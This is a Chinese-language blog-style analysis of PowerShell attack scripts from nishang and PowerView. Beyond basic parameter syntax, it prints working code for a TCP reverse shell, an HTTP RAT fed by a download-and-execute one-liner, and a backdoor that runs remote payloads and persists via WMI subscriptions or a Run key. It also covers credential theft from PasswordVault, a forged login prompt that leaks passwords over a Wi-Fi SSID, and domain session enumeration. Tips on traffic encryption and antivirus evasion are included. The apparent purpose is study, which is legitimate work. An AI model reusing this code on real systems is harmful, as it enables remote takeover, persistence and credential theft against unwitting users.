powershell脚本的分析

目录

筑基

CmdletBinding

CmdletBinding 往往出现在ps中一个函数的开头,用于参数处理。

一般来说,一个ps函数是这样来设置参数的。(当然也可以用最朴实的 function foo($a,$b,\$c) 来实现参数)

function Get-Version{
    param (
        $ComputerName
    )

    Write-Output $ComputerName
}

意思就是接收ComputerName参数,输出ComputerName参数。

Get-Version -ComputerName aa
>aa

我们可以通过Get-Command指令来看此函数支持哪些参数。

PS C:\Users\14216\Desktop> (Get-Command -name Get-Version).Parameters.Keys
ComputerName

发现它只支持ComputerName参数,因为我们在param中只设置了ComputerName参数。

但是powershell中是存在有许多通用参数(CommonParameters)的。 通用参数如 -verbose(显示命令所执行操作的详细信息),-debug(显示有关命令完成的操作的程序员级详细信息)等。 像上面那样定义函数参数,是不能让函数接收通用参数的,想要接收通用参数,只需在param前加上 [CmdletBinding()]即可,如下

function Get-Version{
  [CmdletBinding()]
    param (
        $ComputerName
    )

    Write-Output $ComputerName
}

此时该函数就变成了“高级函数”,我们再通过Get-Command参数即可看出它支持了通用参数

PS C:\Users\14216\Desktop> (Get-Command -name Get-Version).Parameters.Keys
ComputerName
Verbose
Debug
ErrorAction
WarningAction
InformationAction
ErrorVariable
WarningVariable
InformationVariable
OutVariable
OutBuffer
PipelineVariable

参数集

通过为函数设置参数集,可以使函数在不同场景下执行不同的操作。

要创建参数集,您必须为参数集中的每个参数指定Parameter属性的ParameterSetName关键字。对于属于多个参数集的参数, 为每个参数集添加一个Parameter属性。没有指定参数集名称的参数属于所有参数集。

这里选取微软官方给出的例子.

DefaultParameterSetName 指定默认采用的参数集

Mandatory 指定这个参数在此参数集中是否为强制的

ParameterSetName 指定参数所属参数集

[CmdletBinding(DefaultParameterSetName = 'Path')]
    param (
        [Parameter(Mandatory = $true,
            ParameterSetName = 'Path',
            HelpMessage = 'Enter one or more filenames',
            Position = 0)]
        [Parameter(Mandatory = $true,
            ParameterSetName = 'PathAll',
            Position = 0)]
        [string[]]$Path,

        [Parameter(Mandatory = $true, ParameterSetName = 'LiteralPathAll')]
        [Parameter(Mandatory = $true,
            ParameterSetName = 'LiteralPath',
            HelpMessage = 'Enter a single filename',
            ValueFromPipeline = $true)]
        [string]$LiteralPath,

        [Parameter(ParameterSetName = 'Path')]
        [Parameter(ParameterSetName = 'LiteralPath')]
        [switch]$Lines,

        [Parameter(ParameterSetName = 'Path')]
        [Parameter(ParameterSetName = 'LiteralPath')]
        [switch]$Words,

        [Parameter(ParameterSetName = 'Path')]
        [Parameter(ParameterSetName = 'LiteralPath')]
        [switch]$Characters,

        [Parameter(Mandatory = $true, ParameterSetName = 'PathAll')]
        [Parameter(Mandatory = $true, ParameterSetName = 'LiteralPathAll')]
        [switch]$All,

        [Parameter(ParameterSetName = 'Path')]
        [Parameter(ParameterSetName = 'PathAll')]
        [switch]$Recurse
    )

nishang

Shells

Shells模块主要是用来弹shell的。

Invoke-powershelltcp

这个function的作用是,通过tcp进行连shell操作。

正连shell  Invoke-powershelltcp -bind -port 10086
反弹shell  Invoke-powershelltcp -reverse -ipaddress 123.123.123.123 -port 10086

** 参数 **

    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

可以很轻松发现有两个参数集分别对应监听反弹shell和直接反弹shell。

具体逻辑

在代码逻辑开端,先通过参数判断自身行为是反弹还是监听。 如果是反弹shell,则与指定IP端口进行链接。System.Net.Sockets.TCPClient:https://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.tcpclient?view=net-5.0 如果是正连shell,则于指定端口开启监听并等待链接。System.Net.Sockets.TcpListenerhttps\://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.tcplistener?view=net-5.0

        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

在获取连接后,获取TcpClient的stream流用于读写数据。然后通过stream流发送起始的信息。

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0} //获取一个长度为65535被0填充的字节数据,用于后来的TCP数据交换 

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

随后便是处理消息传递与命令执行

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) //监听链接传来的讯息
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)  //$data为远程传来的信息,一般为命令
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) //此变量存储命令执行的结果
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String) //错误信息
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length) //返回信息
            $stream.Flush()  
        }

怎样优化?

可以对流量进行一步优化:对stream中的IO套用加解密,一方面是给信息传回套加密,另一方面是给指令发放套加密(这一步需要控制端额外编写加密指令发送工具)

Invoke-PoshRatHttp

Invoke-PoshRatHttp是一个基于HTTP的弹shell工具

它的大致逻辑为:1.本地监听端口,生成一段powershell远程加载指令 2.在目标机器上执行powershell远程加载指令,使其执行另一个URL上HTTP传回的命令,并通过POST向此URL传回命令执行结果

官方描述(此脚本还可通过hta执行命令,不过本文就不赘述了)

This script starts a listener on the attacker's machine. The listener needs a port to listen.

On the target machine execute the below command from PowerShell:
iex (New-Object Net.WebClient).DownloadString("http://ListenerIPAddress/connect")

or trick a user in connecting to: http://ListenerIPAddress/WindowsDefender.hta

The listener opens incoming traffic on the specified port by the name of "Windows Update HTTP". The listener needs to be run from
an elevated PowerShell session.

The script has been originally written by Casey Smith (@subTee)

参数

参数部分没什么说的,就是指定本地IP与端口而已

    [CmdletBinding()] Param(

        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int]
        $Port
    )

具体逻辑

脚本开始运行后会监听本地端口,并根据传入的ipaddress和port生成powershell一句话指令,执行该指令会使用户执行远程URL得到的payload

$listener = New-Object System.Net.HttpListener
        $listener.Prefixes.Add("http://+:$Port/")

        #Create Firewall Rules
        netsh advfirewall firewall delete rule name="WindowsUpdate HTTP" | Out-Null
        netsh advfirewall firewall add rule name="WindowsUpdate HTTP" dir=in action=allow protocol=TCP localport=$Port | Out-Null

        $listener.Start()
        Write-Output "Listening on $IPAddress`:$Port"
        Write-Output "Run the following command on the target:"
        Write-Output "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://$IPAddress`:$Port/connect'))"

随后通过一个大的while循环监听对此端口发送的HTTP请求。 在其中,如果监听到以connect结尾的GET请求,则生成一段payload,并在最后HTTP应答回去。(IEX ((New-Object Net.WebClient).DownloadString 是以GET请求工作的) 在受害者执行http\://.../connect得到的脚本后,便会执行http\://.../rat传来的PAYLOAD,在受害机执行了http\://.../rat 传回payload后,会通过uploadString方法以POST方式将执行结果传回http\://../rat

          if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) 
            {  

            $message = "

                            `$s = `"http://$IPAddress`:$Port/rat`"
                  `$w = New-Object Net.WebClient 
                  while(`$true)
                  {
                  [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
                  `$r = `$w.DownloadString(`$s)
                  while(`$r) {
                    `$o = invoke-expression `$r | out-string 
                    `$w.UploadString(`$s, `$o)  
                    break
                  }
                  }
            "
            }  
            ......
            [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
            $response.ContentLength64 = $buffer.length
            $output = $response.OutputStream
            $output.Write($buffer, 0, $buffer.length)
            $output.Close()

http://.../rat 的相关逻辑是这么写的 当http\://.../rat 被以GET方法访问后,攻击机会等待终端的输入,然后将其作为HTTP应答传回。 当http\://.../rat 被以POST方法访问后,攻击机则会获取该请求并把请求内容输出到终端。(也就是说会把命令执行结果返回到终端)

            if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") )
            { 
            Receive-Request($request)  
          }

            if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) 
            {  
                $response.ContentType = 'text/plain'
                $message = Read-Host "PS $hostip>"    
                #If the Server/Attacker uses the exit command. Close the client part and the server.
                if ($message -eq "exit")
                {
                    [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
                    $response.ContentLength64 = $buffer.length
                    $output = $response.OutputStream
                    $output.Write($buffer, 0, $buffer.length)
                    $output.Close()
                    $listener.Stop()
                    break
                }
            }
            ····            
            [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
            $response.ContentLength64 = $buffer.length
            $output = $response.OutputStream
            $output.Write($buffer, 0, $buffer.length)
            $output.Close()

怎么优化?

powershell远程脚本免杀要做好,不然根本不可能过AV IO套加密

backdoor

Http-Backdoor

Http-Backdoor是一个基于HTTP的后门程序。 它的大致逻辑是定时访问特定URL(targeturl)若URL返回特定值则从另一个指定URL(payloadurl)下载payload文件并执行。

参数

    [CmdletBinding(DefaultParameterSetName="noexfil")] Param(
        [Parameter(Parametersetname="exfil")]
        [Switch]
        $persist, //是否做持久化

        [Parameter(Parametersetname="exfil")]
        [Switch]
        $exfil, //是否数据回显

        [Parameter(Position = 0, Mandatory = $True, Parametersetname="exfil")]
        [Parameter(Position = 0, Mandatory = $True, Parametersetname="noexfil")]
        [String]
        $CheckURL, //从哪个URL检测开始标志和结束标志

        [Parameter(Position = 1, Mandatory = $True, Parametersetname="exfil")]
        [Parameter(Position = 1, Mandatory = $True, Parametersetname="noexfil")]
        [String]
        $PayloadURL, //从哪个URL下载PAYLOAD

        [Parameter(Position = 2, Mandatory = $False, Parametersetname="exfil")]
        [Parameter(Position = 2, Mandatory = $False, Parametersetname="noexfil")]
        [String]
        $Arguments = "Out-Null",  //额外的附加指令,会在木马工作时运行

        [Parameter(Position = 3, Mandatory = $True, Parametersetname="exfil")]
        [Parameter(Position = 3, Mandatory = $True, Parametersetname="noexfil")]
        [String]
        $MagicString, //从targeturl获取到该标志后从PayloadUrl下载payload执行

        [Parameter(Position = 4, Mandatory = $True, Parametersetname="exfil")]
        [Parameter(Position = 4, Mandatory = $True, Parametersetname="noexfil")]
        [String]
        $StopString, //从targeturl获取到该标志后结束后门工作


        [Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
        [String]
        $ExfilOption,  //数据回显的方式
//以下参数为数据回显的一些参数
        [Parameter(Position = 6, Mandatory = $False, Parametersetname="exfil")] 
        [String]
        $dev_key = "null",

        [Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")]
        [String]
        $username = "null",

        [Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
        [String]
        $password = "null",

        [Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")]
        [String]
        $URL = "null",

        [Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]
        [String]
        $DomainName = "null",

        [Parameter(Position = 11, Mandatory = $False, Parametersetname="exfil")]
        [String]
        $AuthNS = "null"   

   )

参数还是有很多的,但只对应两个参数集exfil(有数据回显),和noexfil(无数据回显)

具体逻辑

在代码主体的开始,定义了两个变量($body和$exfiltration)以字符串形式存放后门本体函数(HTTP-Backdoor-Logic)和后门数据带出函数(Do-Exfiltration-HTTP),我们稍后来分析他们俩。

可以看到在代码开始运行时,会检测是否有persist参数,进而决定是否做持久化工作,持久化的相关代码我们稍后讨论。 先来看persist为flase时,会因exfil参数是否存在而分情况定义一个字符串变量$options,写入 调用木马的 代码。 随后将HTTP-Backdoor-Logic(对应$body)和Do-Exfiltration-HTTP(对应$exfiltration)以及调用木马的代码$options 写入一个文件,并执行。

    $modulename = "HTTP-Backdoor.ps1"
    if($persist -eq $True)
    {
        //持久化工作,我们稍后来讨论此处
    else
    {
        $options = "HTTP-Backdoor-Logic $CheckURL $PayloadURL $Arguments $MagicString $StopString"
        if ($exfil -eq $True)
        {
            $options = "HTTP-Backdoor-Logic $CheckURL $PayloadURL $Arguments $MagicString $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
        }
        if(1 -eq 1){

        }
        Out-File -InputObject $body -Force $env:TEMP\$modulename
        Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
        Out-File -InputObject $options -Append $env:TEMP\$modulename
        Invoke-Expression $env:TEMP\$modulename
    }
}

随后我们再来看看\$body 中的内容

首先是一个大的while true循环,然后便是定时获取CheckUrl上的内容,若CheckURL上的内容与MagicString 一致,则从PayloadUrl处下载payload执行。 随后执行$Arguments参数指定的命令,再然后判定$exfil参数是否存在而是否做出数据外带行为。 然后进入60s的休眠,若获取CheckUrl上的内容为StopString则停止运行程序。

$body = @'
function HTTP-Backdoor-Logic ($CheckURL, $PayloadURL, $Arguments, $MagicString, $StopString, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $AuthNS, $exfil) 
{
    while($true)
    {
    $exec = 0
    start-sleep -seconds 5
    $webclient = New-Object System.Net.WebClient
    $filecontent = $webclient.DownloadString("$CheckURL")
    $filecontent = $filecontent.TrimEnd()
    if($filecontent -eq $MagicString)
    {

        $script:pastevalue = Invoke-Expression $webclient.DownloadString($PayloadURL)
        # Check for arguments to the downloaded script.
        if ($Arguments -ne "Out-Null")
        {
            $pastevalue = Invoke-Expression $Arguments                   
        }
        $pastevalue
        $exec++
        if ($exfil -eq $True)
        {
           $pastename = $env:COMPUTERNAME + " Results of HTTP Backdoor: "
           Do-Exfiltration-HTTP "$pastename" "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$AuthNS"
        }
        if ($exec -eq 1)
        {
            Start-Sleep -Seconds 60
        }
    }
    elseif ($filecontent -eq $StopString)
    {
        break
    }
    }
}
'@

关于数据外带的Do-Exfiltration-HTTP方法实际上并没有什么好说的,它主要采用了三种外带方法: 1·通过公共系统,采用特定API传回数据,如通过gmail发邮箱以及pastebin(用来在线存储文本的网站) 2·通过POST方法向指定URL发包传参 3·DNS外带

我们再来看看它做的持久化吧。 逻辑也很简单,大体就是先把后门本体写入到一个文件后,创建一个调用后门的VBS脚本 然后判断当前用户身份,如果是Administrator则通过WMI绑定VBS脚本留后门(过滤器监听用户登录) 不是administrator就向注册表把VBS写入开机项。

$name = "persist.vbs"
        $options = "HTTP-Backdoor-Logic $CheckURL $PayloadURL $Arguments $MagicString $StopString"
        if ($exfil -eq $True)
        {
            $options = "HTTP-Backdoor-Logic $CheckURL $PayloadURL $Arguments $MagicString $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
        }
        Out-File -InputObject $body -Force $env:TEMP\$modulename
        Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
        Out-File -InputObject $options -Append $env:TEMP\$modulename
        echo "Set objShell = CreateObject(`"Wscript.shell`")" > $env:TEMP\$name
        echo "objShell.run(`"powershell -WindowStyle Hidden -executionpolicy bypass -file $env:temp\$modulename`")" >> $env:TEMP\$name
        $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) 
        if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
        {
            $scriptpath = $env:TEMP
            $scriptFileName = "$scriptpath\$name"
            $filterNS = "root\cimv2"
            $wmiNS = "root\subscription"
            $query = @"
             Select * from __InstanceCreationEvent within 30 
             where targetInstance isa 'Win32_LogonSession' 
"@
            $filterName = "WindowsSanity"
            $filterPath = Set-WmiInstance -Class __EventFilter -Namespace $wmiNS -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
            $consumerPath = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace $wmiNS -Arguments @{name="WindowsSanity"; ScriptFileName=$scriptFileName; ScriptingEngine="VBScript"}
            Set-WmiInstance -Class __FilterToConsumerBinding -Namespace $wmiNS -arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null
                    }
        else
        {
            New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update -PropertyType String -Value $env:TEMP\$name -force
            echo "Set objShell = CreateObject(`"Wscript.shell`")" > $env:TEMP\$name
            echo "objShell.run(`"powershell -WindowStyle Hidden -executionpolicy bypass -file $env:temp\$modulename`")" >> $env:TEMP\$name
        }
    }

怎么优化

IO加密

Gather

Get-WebCredentials

此脚本用于收集网站用户密码,很短,但是其收集密码的方式作为菜鸡的我还是第一次见。

参数

没有参数

具体逻辑

Windows.Security.Credentials.PasswordVault 是一个记录应用和服务凭证的class。 我们只需要对其进行简单的遍历输出,便可以得到一些凭证。

$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] //这一段可以不要
$VaultObj = new-object Windows.Security.Credentials.PasswordVault
$VaultObj.RetrieveAll() | foreach { $_.RetrievePassword(); $_ }

image-20210817144421368

Invoke-SSIDEXfil

这个脚本运行后会弹出一个登录框要求用户输入正确的密码账户,若不正确还会一直弹框。最后把正确的密码账户通过SSID外带出来。 这里我对它怎么外带数据不太感兴趣,我更感兴趣的是那个弹登录框以及验证凭证的操作。

image-20210817155542821

体逻辑(登录框)

关于登录框对凭据的验证是这么个逻辑:

1.若是非域用户,则创建一个基于计算机的用户主体(封装了帐户数据和操作共同所有安全主体。这是所有安全主体的抽象基类),并向用户主体传入凭证进行验证 2.若是域用户,则通过传入的域,用户名,密码来实例化一个DirectoryEntry来达到验证凭证正确性的目的

    Add-Type -assemblyname system.DirectoryServices.accountmanagement 
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    $domainDN = "LDAP://" + ([ADSI]"").distinguishedName
    .....

        while($true)
        {
            #Displaying a forged login prompt to the user.
            $credential = $host.ui.PromptForCredential("Credentials are required to perform this operation", "Please enter your user name and password.", "", "") //这句负责设置登陆框提示信息和标题
            if($credential)
            {
                $creds = $credential.GetNetworkCredential()
                [String]$user = $creds.username
                [String]$pass = $creds.password
                [String]$domain = $creds.domain

                #Check for validity of credentials locally and with domain.
                $authlocal = $DS.ValidateCredentials($user, $pass)
                $authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass)
                if(($authlocal -eq $true) -or ($authdomain.name -ne $null))
                {

                    $output = $authdomain.name + ":" + $user + ":" + $pass       
                    $ssidname = ConvertTo-ROT13 -rot13string $output

                    Write-Verbose "Setting the hosted network SSID to $ssidname in the form Domain:Username:Password."
                    netsh wlan set hostednetwork mode=allow ssid=`"$ssidname`" key='HardtoGuess!@#123'
                    Write-Verbose "Startig the hosted network SSID $ssidname."
                    netsh wlan start hostednetwork
                    break
                }
            }
        }

powerview

Get-NetSession

从一台机器上获取用户登录信息

参数

第一个参数是指定机器的IP或机器名 第二个参数是一个powershell下的用户凭证信息类,可以详见这里https://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions?view=powershell-7.1,

Param(
        [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
        [Alias('HostName', 'dnshostname', 'name')]
        [ValidateNotNullOrEmpty()]
        [String[]]
        $ComputerName = 'localhost',

        [Management.Automation.PSCredential]
        [Management.Automation.CredentialAttribute()]
        $Credential = [Management.Automation.PSCredential]::Empty
    )

具体逻辑

BEGIN {
        if ($PSBoundParameters['Credential']) {
            $LogonToken = Invoke-UserImpersonation -Credential $Credential
        }
    }

一开始会通过设置的Credential参数来模拟令牌

ForEach ($Computer in $ComputerName) {
            # arguments for NetSessionEnum
            $QueryLevel = 10
            $PtrInfo = [IntPtr]::Zero
            $EntriesRead = 0
            $TotalRead = 0
            $ResumeHandle = 0

            # get session information
            $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

            # locate the offset of the initial intPtr
            $Offset = $PtrInfo.ToInt64()

然后会循环遍历computername中的机器名,分别调用Netapi32::NetSessionEnum方法来获取session信息 这个API的相关定义如下(微软官方文档已经删除了这个API的定义)

image-20210927200359461

Get-NetLoggedon

和Get-NetSession差不多,也是用于查询某机器上的登录会话,但是Get-NetSession是以NetSessionEnum Api为核心,Get-NetLoggedon是以NetWkstaUserEnum Api为核心

具体逻辑

逻辑和Get-NetSession差不多,这里就着重介绍一下NetWkstaUserEnum 这个API

NetWkstaUserEnum 功能可以列出当前登录到该工作站的所有用户的信息。此列表包括交互式、服务和批量登录。此函数需要主机的管理权限或这域管权限,适用于自检使用。

image-20210927204821273

Find-DomainUserLocation

Find-DomainUserLocation是一个用于定位用户在哪台机器上登录的脚本

这个脚本其实就是个缝合怪,它的逻辑如下

具体逻辑

这是它自己的解释

This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
先调用Get-DomainComputer获取域中计算机名,然后通过Get-DomainUser,Get-DomainGroupMember 来获取域中用户信息,然后通过Get-NetSession/Get-NetLoggedon来查询各计算机中的登录会话信息。